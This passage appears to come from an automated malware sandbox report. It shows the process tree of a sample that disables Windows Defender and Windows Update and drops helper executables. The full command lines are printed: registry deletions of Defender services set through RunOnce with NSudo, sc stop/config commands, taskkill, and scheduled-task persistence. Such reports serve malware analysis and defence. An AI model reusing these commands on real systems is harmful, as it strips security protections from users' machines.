VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:5944
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                              5⤵
                                                              • Executes a command shell one-liner
                                                              PID:4796
                                                              • C:\Windows\system32\sc.exe
                                                                sc stop IObitUnlocker
                                                                6⤵
                                                                • Launches sc.exe
                                                                PID:5960
                                                              • C:\Windows\system32\sc.exe
                                                                sc delete IObitUnlocker
                                                                6⤵
                                                                • Launches sc.exe
                                                                PID:2580
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1132"
                                                              5⤵
                                                              • Executes a command shell one-liner
                                                              PID:2184
                                                              • C:\Windows\system32\taskkill.exe
                                                                taskkill /f /pid "1132"
                                                                6⤵
                                                                • Kills process with taskkill
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4216
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                                            4⤵
                                                              PID:2008
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                              4⤵
                                                                PID:5784
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                4⤵
                                                                  PID:2284
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "
                                                                3⤵
                                                                • Executes a command shell one-liner
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:5472
                                                                • C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exe
                                                                  nircmd win min process "cmd.exe"
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  PID:732
                                                                • C:\Windows\SysWOW64\chcp.com
                                                                  chcp 65001
                                                                  4⤵
                                                                    PID:5704
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg query "HKU\S-1-5-19"
                                                                    4⤵
                                                                      PID:4512
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
                                                                      4⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:2736
                                                                    • C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe
                                                                      NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:3992
                                                                    • C:\Windows\SysWOW64\mode.com
                                                                      Mode 79,49
                                                                      4⤵
                                                                        PID:3784
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c ver
                                                                        4⤵
                                                                        • Executes a command shell one-liner
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1872
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
                                                                        4⤵
                                                                          PID:5128
                                                                        • C:\Windows\SysWOW64\find.exe
                                                                          find /i "0x0"
                                                                          4⤵
                                                                            PID:3204
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c tasklist
                                                                            4⤵
                                                                            • Executes a command shell one-liner
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:1680
                                                                            • C:\Windows\SysWOW64\tasklist.exe
                                                                              tasklist
                                                                              5⤵
                                                                              • Enumerates processes with tasklist
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:4632
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                                                                            4⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:5956
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                                                                            4⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:6136
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                                                                            4⤵
                                                                              PID:3924
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg query "HKLM\System\CurrentControlSet\Services\Sense"
                                                                              4⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5324
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                                                                              4⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5940
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                                                                              4⤵
                                                                                PID:5316
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                                                                                4⤵
                                                                                  PID:2836
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                                                                                  4⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:5132
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                                                                                  4⤵
                                                                                    PID:1284
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                                                                                    4⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:3916
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                                                                                    4⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:2672
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                                                                                    4⤵
                                                                                      PID:2720
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                                                                                      4⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1568
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                                                                                      4⤵
                                                                                        PID:4360
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                                                                                        4⤵
                                                                                          PID:4368
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                                                                          4⤵
                                                                                            PID:1532
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /S /D /c" ver "
                                                                                            4⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:2696
                                                                                          • C:\Windows\SysWOW64\findstr.exe
                                                                                            findstr /c:"6.1.7601"
                                                                                            4⤵
                                                                                              PID:3828
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                                                                              4⤵
                                                                                                PID:4848
                                                                                              • C:\Windows\SysWOW64\find.exe
                                                                                                find /i "Windows 7"
                                                                                                4⤵
                                                                                                  PID:468
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg query HKLM\System\CurrentControlset\Services\WdFilter
                                                                                                  4⤵
                                                                                                  • Modifies registry key
                                                                                                  PID:2400
                                                                                                • C:\Users\Admin\AppData\Local\Temp\barer\7z.exe
                                                                                                  7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"
                                                                                                  4⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:5336
                                                                                                • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                  game.exe /CurrentDiskSize
                                                                                                  4⤵
                                                                                                  • Checks computer location settings
                                                                                                  • Executes dropped EXE
                                                                                                  PID:3504
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                    5⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:5360
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      sc query IObitUnlocker
                                                                                                      6⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:5976
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3504"
                                                                                                    5⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:5980
                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                      taskkill /f /pid "3504"
                                                                                                      6⤵
                                                                                                      • Kills process with taskkill
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1876
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc stop wuauserv
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:2956
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc config wuauserv start= disabled
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:4972
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc stop dosvc
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:4624
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc config dosvc start= disabled
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:4028
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc stop bits
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:5936
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc config bits start= disabled
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:3228
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc stop UsoSvc
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:5684
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc config UsoSvc start= disabled
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:2188
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc stop WaaSMedicSvc
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:3224
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc config WaaSMedicSvc start= disabled
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:5908
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                                                                                                  4⤵
                                                                                                    PID:4632
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                                                                                                    4⤵
                                                                                                      PID:2644
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                                                                                      4⤵
                                                                                                        PID:3580
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                                                                                        4⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:5844
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                                                                                        4⤵
                                                                                                          PID:912
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                          4⤵
                                                                                                            PID:1340
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                            4⤵
                                                                                                              PID:2512
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg unload HKLM\TEMP_SYSTEM
                                                                                                              4⤵
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:1408
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                              game /delwd
                                                                                                              4⤵
                                                                                                              • Checks computer location settings
                                                                                                              • Executes dropped EXE
                                                                                                              PID:4140
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                5⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:2744
                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                  sc query IObitUnlocker
                                                                                                                  6⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:1380
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4140"
                                                                                                                5⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:6140
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  6⤵
                                                                                                                    PID:4028
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /f /pid "4140"
                                                                                                                    6⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:5696
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                game /DelWD
                                                                                                                4⤵
                                                                                                                • Checks computer location settings
                                                                                                                • Executes dropped EXE
                                                                                                                PID:416
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                  5⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:4948
                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    6⤵
                                                                                                                      PID:912
                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                      sc query IObitUnlocker
                                                                                                                      6⤵
                                                                                                                      • Launches sc.exe
                                                                                                                      PID:4220
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "416"
                                                                                                                    5⤵
                                                                                                                    • Executes a command shell one-liner
                                                                                                                    PID:4568
                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                      taskkill /f /pid "416"
                                                                                                                      6⤵
                                                                                                                      • Kills process with taskkill
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:2856
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                                                                                                  4⤵
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  PID:1180
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                                                                  4⤵
                                                                                                                    PID:5704
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                                                                    4⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:2588
                                                                                                              • C:\Windows\svchosthelper.exe
                                                                                                                "C:\Windows\svchosthelper.exe"
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:5052
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\random.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\random.exe
                                                                                                              1⤵
                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Identifies Wine through registry keys
                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                              • Drops file in Windows directory
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:1792
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"
                                                                                                                2⤵
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:3692
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\svchostam.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\svchostam.exe"
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:3340
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:1016
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
                                                                                                                  3⤵
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:4008
                                                                                                              • C:\Windows\systemhelper.exe
                                                                                                                "C:\Windows\systemhelper.exe"
                                                                                                                2⤵
                                                                                                                • Checks computer location settings
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:5688
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "
                                                                                                                  3⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                  PID:4232
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exe
                                                                                                                    nircmd win min process "cmd.exe"
                                                                                                                    4⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:4392
                                                                                                                  • C:\Windows\SysWOW64\chcp.com
                                                                                                                    chcp 65001
                                                                                                                    4⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:388
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg query "HKU\S-1-5-19"
                                                                                                                    4⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:1288
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
                                                                                                                    4⤵
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:5140
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe
